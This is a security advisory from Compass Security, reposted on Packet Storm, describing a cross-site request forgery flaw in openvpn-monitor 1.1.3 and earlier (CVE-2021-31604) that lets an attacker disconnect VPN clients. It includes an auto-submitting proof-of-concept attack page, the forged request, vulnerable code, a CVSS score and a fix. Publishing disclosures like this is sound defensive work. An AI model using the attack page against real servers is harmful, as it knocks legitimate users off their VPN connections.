OpenVPN Monitor 1.1.3 Cross Site Request Forgery

Authored by Sylvain Heiniger, Emanuel Duss

Posted Sep 24, 2021

OpenVPN Monitor versions 1.1.3 and below suffer from a cross site request forgery vulnerability that allows an attacker to disconnect arbitrary VPN clients.

tags | exploit, arbitrary, csrf
advisories | CVE-2021-31604
SHA-256 | 1f3480045376cc0f2cd806ce155a2c7af1486e8d2504fc839a567a574a2ca25d Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  openvpn-monitor
# Vendor:   https://github.com/furlongm/openvpn-monitor
# CSNC ID:  CSNC-2021-011
# CVE ID:   CVE-2021-31604
# Subject:  Cross-Site Request Forgery (CSRF)
# Severity: Medium
# Effect:   Denial of Service
# Author:   Emanuel Duss <emanuel.duss@compass-security.com>
#           Sylvain Heiniger <sylvain.heiniger@compass-security.com>
# Date:     2021-09-22
#
#############################################################

Introduction
------------

openvpn-monitor is a simple Python program to generate HTML that displays the
status of an OpenVPN server, including all current connections. It uses the
OpenVPN management console. It typically runs on the same host as the OpenVPN
server. [0][1]

During a customer project, several security vulnerabilities were discovered in
this software.

This advisory describes an a CSRF vulnerability which allows an attacker to
disconnect arbitrary VPN clients.


Affected
--------

- Vulnerable: openvpn-monitor <= 1.1.3
- Not vulnerable: none

The vulnerability is already fixed in the source code [3], but there is no new
release which contains the fix. Therefore, all currently available releases
contain this vulnerability.


Technical Description
---------------------

The client disconnect feature does not require a CSRF token:

    [CUT BY COMPASS]
        @app.route('/', method='POST')
        def post_slash():
            vpn_id = request.forms.get('vpn_id')
            ip = request.forms.get('ip')
            port = request.forms.get('port')
            client_id = request.forms.get('client_id')
            return render(vpn_id=vpn_id, ip=ip, port=port, client_id=client_id)
    [CUT BY COMPASS]


An attacker can create the following CSRF attack page:

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://openvpn-monitor.example.net/" method="POST">
          <input type="hidden" name="vpn_id" value="UDP" />
          <input type="hidden" name="ip" value="10.5.23.42" />
          <input type="hidden" name="port" value="1194" />
          <input type="hidden" name="client_id" value="5" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>

When a victim with access to the openvpn-monitor application accesses this
attack page, the following HTTP request is automatically sent to the
openvpn-monitor application:

    POST / HTTP/1.1
    Host: openvpn-monitor.example.net
    Content-Type: application/x-www-form-urlencoded
    Origin: http://attacker.example.com
    Referer: http://attacker.example.com/attackpage.html
    [CUT BY COMPASS]

    vpn_id=UDP&ip=10.5.23.42&port=1194&client_id=5

This will disconnect the client with the ID 5.

Knowing or guessing the `client_id` parameter is sufficient for an attacker.
It's not needed to know the exact values of the other parameters, since they
are only used on oder OpenVPN server versions:

    [CUT BY COMPASS]
    class OpenvpnMgmtInterface(object):

        def __init__(self, cfg, **kwargs):
            self.vpns = cfg.vpns

            if kwargs.get('vpn_id'):
                vpn = self.vpns[kwargs['vpn_id']]
                self._socket_connect(vpn)
                if vpn['socket_connected']:
                    release = self.send_command('version\n')
                    version = semver(self.parse_version(release).split(' ')[1])
                    if version.major == 2 and \
                            version.minor >= 4 and \
                            kwargs.get('client_id'):
                        command = 'client-kill {0!s}\n'.format(kwargs['client_id'])
                    else:
                        command = 'kill {0!s}:{1!s}\n'.format(kwargs['ip'], kwargs['port'])
                    self.send_command(command)
                    self._socket_disconnect()
    [CUT BY COMPASS]
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
This attack can even be performed if the client disconnect feature is disabled
because of the authorization bypass vulnerability (CVE-2021-31606) and be
combined with the management socket command injection vulnerability
(CVE-2021-31604) to send arbitrary commands via a CSRF attack page to the
OpenVPN server management interface socket. This would then have a much higher
severity.


Vulnerability Classification
----------------------------

CVSS v3.1 Metrics [2]:

* CVSS Base Score: 4.7
* CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L


Workaround / Fix
----------------

# openvpn-monitor Vendor

Each non-idempotent request must contain an additional token that cannot be
predicted by the attacker. When receiving a request, the server needs to
validate the token. If the token is incorrect, missing, or does not match the
user's session, the request should be dropped.

# openvpn-monitor Users

Since there is no CSRF protection implemented at the moment, a possible
workaround would be to add HTTP Basic Authentication e.g. via a reverse proxy
using a strong password. An attacker could therefore not perform CSRF attacks
anymore, because the password (which is unknown to the attacker) would have to
be sent in the HTTP request header.


Timeline
--------

2021-05-05: Vulnerability discovered
2021-04-20: Requested CVE ID @ MITRE
2021-04-20: Contacted vendor
2021-04-22: Sent details via email to vendor
2021-04-24: Vendor confirmed and already started to work on a fix
2021-09-08: Asked vendor for updates
2021-09-08: Vendor told it's planned to fix the CSRF issue
            but it's also OK to already publish the advisory
2021-09-22: Public disclosure


References
----------

[0] http://openvpn-monitor.openbytes.ie/
[1] https://github.com/furlongm/openvpn-monitor
[2] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L&version=3.1
```


Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed